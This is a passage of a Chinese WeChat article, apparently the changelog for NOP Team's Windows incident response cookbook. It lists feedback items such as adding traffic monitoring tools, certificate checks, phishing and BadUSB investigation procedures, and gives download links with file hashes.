leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-07 23:46</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">30. 添加文本对比工具</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0030</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">xxxr_sec</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-05-16 13:53</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加文本对比工具</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-07 23:45</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加了 He3 ，除了文本对比功能外，支持大量的编解码等功能</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">31. 添加应用系统和中间件的暴力破解</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0031</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">xxxr_sec</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-05-16 13:53</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">暴力破解模块中是否考虑添加针对应用系统或中间件暴力破解的内容</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已忽略</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-05-06 13:53</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">特定的应用程序已经有了，中间件属于Web范畴，在将来的 Web 应急响应手册中会涉及</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">32. 添加流量监控工具</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0032</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">xxxr_sec</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-05-16 13:53</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">是否会添加流量监控工具</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-07  23:09</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加了 Netsh 和 Wireshark，由于 MMA 已经停止开发，暂时不加进去</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">33. 添加内网文件传输工具</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0033</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-04-29 20:44</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">考虑无法使用U盘传输文件的情况，添加内网文件传输工具</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-08  13:36</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">34. 添加证书排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0034</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-14 15:00</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加对证书的排查，如果存在恶意证书可能导致其他排查失效</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-08  17:06</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">35. 添加钓鱼排查流程</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0035</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-05-02 19:25</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">增加钓鱼排查流程</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-09 00:00</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">36. 添加 badusb 类事件排查流程</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0036</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-06 21:46</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加 badusb 类事件排查流程</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-09 02:31</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">手册中案例是使用鼠标模拟 badusb ，如果有 badusb ，日志分析可能更准确</span></p></td></tr></tbody></table><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">下载地址</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://pan.baidu.com/s/1PgHN6Mfr1ueR0AEA9ZvPyw?pwd=ypyn" target="_blank">https://pan.baidu.com/s/1PgHN6Mfr1ueR0AEA9ZvPyw?pwd=ypyn</a> 提取码: ypyn</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://github.com/Just-Hack-For-Fun/Windows-INCIDENT-RESPONSE-COOKBOOK" target="_blank">https://github.com/Just-Hack-For-Fun/Windows-INCIDENT-RESPONSE-COOKBOOK</a></span></p></blockquote><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgReGqIdeibIxILdawFKAO0Y1icGhbfB9cPBWWPaDrsP07iauEzwicSlwC7DIALgjyW1ibJsxquv2Q77eHBw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #98c379;line-height: 26px;"><span leaf="">Hash</span></span><span leaf=""> </span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">md5:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">f034e553c65c6edd8fdaa1b38d89cda3</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sha-256:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">8fd9426884aab1e903edf3e051f5ad1f8af95a4a9a8ce130122cdf64b41a2a1f</span></span><span leaf=""><br/></span></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">往期文章</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502770&amp;idx=1&amp;sn=85b3f9c13c78ee814042b282f6fe6e87&amp;scene=21#wechat_redirect" textvalue="Linux 应急响应手册 v2.0.1 发布！(含目录)" data-itemshowtype="0" linktype="text" data-linktype="2">Linux 应急响应手册 v2.0.1 发布！(含目录)</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502811&amp;idx=1&amp;sn=bdf64878bb87c64fb898881f5aadd82e&amp;scene=21#wechat_redirect" textvalue="OpenForensicRules 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">OpenForensicRules 发布！</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502819&amp;idx=1&amp;sn=66c9909519c95e1655978d666aba562d&amp;scene=21#wechat_redirect" textvalue="NOPTrace-Configurator 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">NOPTrace-Configurator 发布！</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502852&amp;idx=1&amp;sn=3d3f29e38705cbb244c6774bf883997a&amp;scene=21#wechat_redirect" textvalue="NOPTrace-Collector 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">NOPTrace-Collector 发布！</a></span></p></li></ul><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" 